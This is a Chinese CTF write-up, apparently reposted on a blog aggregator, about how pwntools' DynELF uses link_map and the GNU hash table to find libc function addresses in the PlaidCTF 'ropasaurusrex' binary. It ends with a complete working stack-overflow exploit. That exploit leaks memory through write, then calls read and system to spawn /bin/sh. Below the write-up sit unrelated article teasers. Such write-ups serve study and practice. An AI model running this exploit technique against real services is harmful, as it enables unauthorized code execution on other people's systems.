GNU_HASH确定函数地址

news2024/9/21 0:30:13

前言:

最近看了以下pwntoos的DynELF方法,对其中是如何获取到函数地址的过程很感兴趣,就研究了一下,对通过DT_GNU_HASH获取函数地址的过程有了比较清晰的了解

漏洞:

我这里使用2013-PlaidCTF进行测试,首先老样子看看对应的反汇编代码

主函数如下,首先进入0804841d方法,然后打印对应的内存数据:

0804841d函数中可以看出存在溢出漏洞,漏洞点也就在这里: 

看看保护策略

开启了NX,也就意味着栈中数据没有执行权限,基址重定位和栈保护等都没开启,基本的思路如下:

  • 利用栈溢出首先获取read的函数地址。
  • 利用相对偏移获取system的函数地址。
  • 向bss段写入/bin/sh\x00字符串。
  • 调用system函数。

基础:

想理解DynELF的执行,首先需要对link_map和通过hash表找到函数内存加载地址方法有一定的了解,首先讲下link_map:

link_map是在 Linux 下使用的一个数据结构,用于描述动态链接库(共享库)的加载信息。它在动态链接过程中扮演着重要角色,具体的结构如下:

struct link_map {
    struct link_map *l_next;      // 指向下一个 link_map 结构的指针
    struct link_map *l_prev;      // 指向前一个 link_map 结构的指针
    void *l_addr;                 // 共享库的基地址
    char *l_name;                 // 共享库的名称(路径)
    struct ElfW(Dyn) *l_ld;       // 指向 ELF 动态段的指针
    void *l_real;                 // 实际的共享库地址(可能用于不同的加载器)
    void *l_reserved;             // 保留字段,用于未来扩展
    int l_refcount;               // 引用计数,跟踪库的使用情况
    // 可能还有其他字段,依赖于实现
};

其中我们需要关注的l_next,l_real和l_name三个,首先看看网上找的这个图:

下面我们找一下,首先确定第一个link_map地址位于got.plt的第二位

查看0xf7f7ba30对应 link_map结构:

查询下一个0xf7f40000链内容,可以看到为linux-gate.so,这不是我们要找的,跳过直接进入下一个:

进入下一个link_map:0xf7f40410

这里可以看到libc.so是我们需要找的名称,这样就可以根据real获取基质为:0xf7c00000

可以看到正确:

往后再看一个链,可以看到已经结束,此时next为0,表示结束。

这我们就获取到了对应lib的基址,然后我们需要获取libc.so的DT_GNU_HASH,DT_STRTAB,DT_SYMTAB三个地址,这个需要读取l_ld:0xf7e23d2c

l_ld为指向 ELF 文件的动态段(ElfW(Dyn))的指针,包含共享库的动态信息,如所需的其他库、符号表等

可以直接查看对应的libc的区段,可以看到dynamic地址为00223d2c + 0xf7c00000 = 0xf7e23d2c

正常查看libc.so可以看到 DT_GNU_HASH,DT_STRTAB,DT_SYMTAB对应的标记和偏移

对应可以获取

即对应 DT_GNU_HASH,DT_STRTAB,DT_SYMTAB值

[*] Found DT_GNU_HASH at 0xf7c0466c
[*] Found DT_STRTAB at 0xf7c16c40
[*] Found DT_SYMTAB at 0xf7c09a80

获取到了这三个的地址,下面就要计算其具体的函数地址通过hash,这里读取system的地址,具体的结构图可以参考如下

首先我们看看DT_GNU_HASH结构

struct GnuHash {
    uint32_t nbuckets;   // 桶的数量
    uint32_t symndx;     // 符号表的开始索引
    uint32_t maskbits;    // 掩码位数
    uint32_t shift;       // 用于计算哈希值的位移量
    uint32_t buckets[];   // 桶数组,大小为 nbuckets
    // 后面可能跟着链表和其他数据
};

DT_STRTAB结构如下:

struct Elf32_Dyn {
    int d_tag;               // 动态节标记
    union {
        uint32_t d_val;      // 整数值
        uint32_t d_ptr;      // 指针值
    } d_un;
};

DT_SYMTAB结构如下:

struct Elf32_Dyn {
    int d_tag;               // 动态节标记
    union {
        uint32_t d_val;      // 整数值
        uint32_t d_ptr;      // 指针值
    } d_un;
};

知道了三个的结构,首先我们需要获取桶数组的地址buckets,具体计算方法如下:

buckets = DT_GNU_HASH + sizeof(elf.GNU_HASH) + (elfword * maskwords)

buckets = 0xf7c0466c + 0x10 + (0x00000400 * 4) = 0xF7C0567C

然后需要计算具体的system的hash,计算代码如下:

from pwnlib.util.packing import _need_bytes
def gnu_hash(s):
    """gnu_hash(str) -> int

    Function used to generated GNU-style hashes for strings.
    """
    s = bytearray(_need_bytes(s, 4, 0x80))
    h = 5381
    for c in s:
        h = h * 33 + c
    return h & 0xffffffff
    

print(gnu_hash("system"))

然后将计算的结果和nbuckets进行计算即485418122 % 0x000003f9 = 0x3CB

然后我们需要获取ndx的地址即通过hash计算的数组获取0xF7C0567C + (0x3CB * 4) = 0xF7C065A8下的内容c89,即对应的索引为c89

根据上述获取对应的地址如下

chain = chains + 4 * (ndx - symndx)
chain = 0xF7C06660 + 4 * (0x0c89 - 0x00000014) = 0xF7C09834

然后计算对应的DT_SYMTAB下的地址

sym  = DT_SYMTAB + sizeof(DT_SYMTAB) * (ndx + i)
sym  = 0xf7c09a80 + 0x10 * (0x0c89) = 0xF7C16310 ->0x3019

然后根据获取的偏移地址可以去DT_STRTAB表中找到对应的名称,两个表相同

name = DT_STRTAB + sym 
name = 0xf7c16c40 + 0x3019 = 0xF7C19C59

可以看到0xF7C19C59下为对应的字符串名称system,证明找的地址没错,那么就可以取sym结构中的地址0004dd50为system的偏移地址和机制相加即可获取system的地址

0xf7c00000+0004dd50 = 0xf7c4dd50

通过gun hash计算的方式我们可以获取加载到程序中任意lib的任意函数地址

但是需要远程读取的时候需要注意我们需要能对外打印地址,需要有write或者print等函数进行打印才可以获取到地址,但是当有\00的终止符的时候除write外会有异常终止需要注意

利用: 

最后看下利用方式,首先看看溢出点

0xffffcebc-0xffffce30=8c即140个字符就可以溢出返回地址

这里就需要注意了我们需要溢出返回地址到write,传入参数同时我们还要返回到我们的主函数重复执行,这里需要注意针对write的传参是通过栈而不是寄存器,这样我们就可以构造栈来传入参数:

看下对应的esp值,当前地址内容为0x0804842b,然后是三个参数:

然后执行call,call其实相当于两个功能push+jump push压入下一条地址,jump到指定地址,执行完成后地址如下:

调用系统方法传参通过栈,其内部会将栈的参数传入ebx、ecx、edx

所以我们构造就可构造如下poc

'a'*140 + p32(elf.plt['write']) + p32(start_addr) + p32(1) + p32(addr) + p32(8)

我们通过为write构造p32(1) + p32(addr) + p32(8)参数,然后返回start_addr地址,使得程序能正常执行

但是如何执行我们的system,我们可以先执行read,将输入的内容当作参数传入system中

ssize_t read(int fd, void *buf, size_t count);  

我们只要给一个能写的地址,首先看看哪些地址可以写,使用vmmap

可以看到0x8049000  0x804a000可以写入,然后查下区段,使用:info files 

我们可以写入到bss或data区段,只要可以写入即可

'a'*140 + p32(read_addr) + p32(system_addr) + p32(0) + p32(elf.bss()+100) + p32(8)

由于read使用三个参数,system使用一个参数,当执行完read后进入system会将地址写入p32(0),将p32(elf.bss()+100当作参数传入并执行。

最后的代码如下:

from pwn import *
import codecs

#context.log_level = 'debug'

pro = 'ropasaurusrex'
#p = remote('127.0.0.1', 10001)
p = process(pro)
elf = ELF(pro)
start_addr = 0x8048340

def leak(addr):
    payload = b'a'*140 + p32(elf.plt['write']) + p32(start_addr)
    payload+= p32(1) + p32(addr) + p32(8)
    p.sendline(payload)
    context = p.recv(8)
    hex_encoded_context = codecs.encode(context, 'hex').decode('utf-8')
    print(b"%#x -> %s -> %s" % (addr, hex_encoded_context.encode('utf-8'),context))
    return context

d = DynELF(leak,elf = elf)


system_addr = d.lookup(b'system',b'libc')

gdb.attach(p, 'b *0x8048416')

read_addr = d.lookup(b'read',b'libc')

print("system_addr: " + hex(system_addr))
print("read_addr: " + hex(read_addr))

#0x0804968c
p.sendline(b'a'*140 + p32(read_addr) + p32(system_addr) + p32(0) + p32(elf.bss()+100) + p32(8))
p.sendline(b'/bin/sh\x00')

p.interactive()


结束~!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2109424.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DeepDFA: 受控制流分析驱动的有效深度漏洞检测

目前基于深度学习的漏洞检测中性能最高的方法使用的是基于 token 的 transformer 模型,这对于捕捉漏洞检测所需的代码语义来说并不是最有效的。文中设计了一个受数据流分析启发的图学习框架 DeepDFA,以及一种能让图学习模拟数据流计算的嵌入技术。其训练…

打造温馨家居,全屋智能家居解决方案

智能家居全屋解决方案覆盖全屋照明、温度、娱乐影音等各种常见的日常生活需求、可通过一键设置联动场景来控制自己的家、也可通过语音对话来操控家中的照明、电器及各种场景模式任意切换,一键升级自己的智能家。 1.入户解决方案 通过智能指纹锁穿过玄关、进入大厅、…

贴心服务,一路随行:用友BIP商旅云6.0推出客服中心

在全球经济日益一体化的今天,企业商旅活动频繁且复杂,对高效、专业的客户服务需求与日俱增。为了精准对接企业商旅管理的需求与挑战,用友BIP商旅云6.0创新性地推出了客服中心,以全方位、全天候的贴心服务,为企业商旅活…

OpenObserve云原生可观测平台本地Docker部署与远程访问实战教程

文章目录 前言1. 安装Docker2. Docker镜像源添加方法3. 创建并启动OpenObserve容器4. 本地访问测试5. 公网访问本地部署的OpenObserve5.1 内网穿透工具安装5.2 创建公网地址 6. 配置固定公网地址 前言 本文主要介绍如何在Linux系统使用Docker快速本地化部署OpenObserve云原生可…

html 页面引入 vue 组件之 http-vue-loader.js

一、http-vue-loader.js http-vue-loader.js 是一个 Vue 单文件组件加载器,可以让我们在传统的 HTML 页面中使用 Vue 单文件组件,而不必依赖 Node.js 等其他构建工具。它内置了 Vue.js 和样式加载器,并能自动解析 Vue 单文件组件中的所有内容…

运维学习————Jenkins(1)

目录 一、项目开发周期 二、jenkins的简介和作用 三、jenkins下载 1、使用war包安装 2、初始化配置 3、工作流程图 4、Jenkins安装配置maven和git maven git 5、jenkins安装插件 6、配置maven,git,jdk jdk配置 Git配置 Maven配置 四、修改tomcat的一些配置 五…

《Nginx怎么部署vue项目》

推荐学习文档 nginx https配置ssl证书实现访问https服务Nginx实现404页面的配置方法 在开始部署之前,我们先要准备好以下工作: 一个能跑通的Vue项目一个正常的、安装了nginx的服务器(可以是本地电脑)服务器上安装了Node.js&…

java设计模式day02--(创建型模式:工厂模式、原型模式、建造者模式)

4,创建型模式 4.2 工厂模式 4.2.1 概述 需求:设计一个咖啡店点餐系统。 设计一个咖啡类(Coffee),并定义其两个子类(美式咖啡【AmericanCoffee】和拿铁咖啡【LatteCoffee】);再设…

企业必看!TPM管理咨询公司挑选全攻略

TPM(Total Productive Maintenance,全面生产维护 )作为一种先进的生产管理模式,旨在通过全员参与和持续改善,最大化设备综合效率(OEE),从而提升企业整体竞争力。然而,实施TPM并非一蹴…

基于Flink的流式计算可视化开发实践之配置->任务生成->任务部署过程

1. 引言 在我们大数据平台(XSailboat)的DataStudio模块中实现了基于Hive的业务流程开发和基于Flink的实时计算管道开发。 DataStudio是用来进行数据开发的,属于开发环境,另外还有任务运维模块,负责离线分析任务和实时计算任务在生产环境的部…

解决Metasploit调用Nessus报错问题

问题描述 Error while running command nessus_scan_new: undefined method []’ for nil:NilClass 解决方法 发现报错,经过网上查询解决方法 在Nessus服务器执行,下面的版本号可能有所不同,更加自己的情况更改,需要管理员身份执…

Vue2 day-01

目录 一. Vue 是什么? 1.1 什么是渐进式 1.2 自底向上逐层应用 二. 相关概念 2.1 为什么学习vue 2.2 库和框架区别 2.3 三大主流框架 三. vue基本使用 3.1 体验vue的使用 3.2 相关知识分析 3.3 插值表达式{{}} 3.4 vue-devtools 四. 指令 4.1 v-cloak…

深信服EasyConnect-Docker部署方式

一、项目简介 让深信服开发的非自由的 VPN 软件 EasyConnect 或 aTrust 运行在 docker 中,提供 socks5 和 http 代理服务和网关供宿主机连接使用。 项目地址: https://github.com/docker-easyconnect/docker-easyconnect 二、图形界面版 EasyConnect&…

Oceanbase 数据库审计

数据加密和访问控制可以大幅降低安全风险,但对于具备权限的用户,仍然需要记录其操作,以防止用户登录信息泄露,或者访问权限被滥用。审计功能可以加强企业对数据安全、合规等方面的要求,是跟踪用户行为最主要的工具。 目…

浏览器百科:网页存储篇-Session storage应用实例(九)

1.引言 在前面的文章中,我们详细介绍了如何在 Chrome 浏览器中打开并使用 Session storage 窗格,进行数据的查看、编辑和管理。作为网页存储技术的重要组成部分,sessionStorage在提升用户体验和数据管理能力方面发挥了重要作用。在本篇《浏览…

NAT技术-将多个内部网络设备映射到一个公共IP地址

问题: 今天上课的时候老师让我们在VMware填同一个子网ip 192.168.196.0,然后给我们的linux镜像都是同一个压缩包,结果我们的静态ip地址都是同一个。 192.168.196.0下面有256个ip地址,范围是192.168.196.0到192.168.196.255。我们…

CP-Net:用于生物细胞解析的实例感知部分分割网络|文献速递--基于深度学习的医学影像病灶分割

Title 题目 CP-Net: Instance-aware part segmentation network for biological cell parsing CP-Net:用于生物细胞解析的实例感知部分分割网络 01 文献速递介绍 实例分割是计算机视觉中的一个经典任务,用于识别图像中每个像素的对象类别&#xff0…

基于Android Studio 实现通讯录—原创

目录 一、项目演示 二、开发环境 三、项目详情 四、项目完整源码 一、项目演示 基于Android Studio 实现通讯录—原创 二、开发环境 三、项目详情 1.启动页 这段代码是一个简单的Android应用程序启动活动(Activity),具体功能如下&#xf…

【看雪-注册安全分析报告】

前言 由于网站注册入口容易被黑客攻击,存在如下安全问题: 暴力破解密码,造成用户信息泄露短信盗刷的安全问题,影响业务及导致用户投诉带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞…

学习 SSM框架 项目总结

通过指导老师发布的学习SSM框架项目&#xff0c;这次我深刻体会到了SSM整体项目之间的紧连关系。 以下是我自己学习过程中总结出来的经验。 SSM框架 配置 导入核心 spring 组件坐标 将spring相关组件坐标&#xff0c;导入到 pom 文件中 <!--spring、springMVC--><…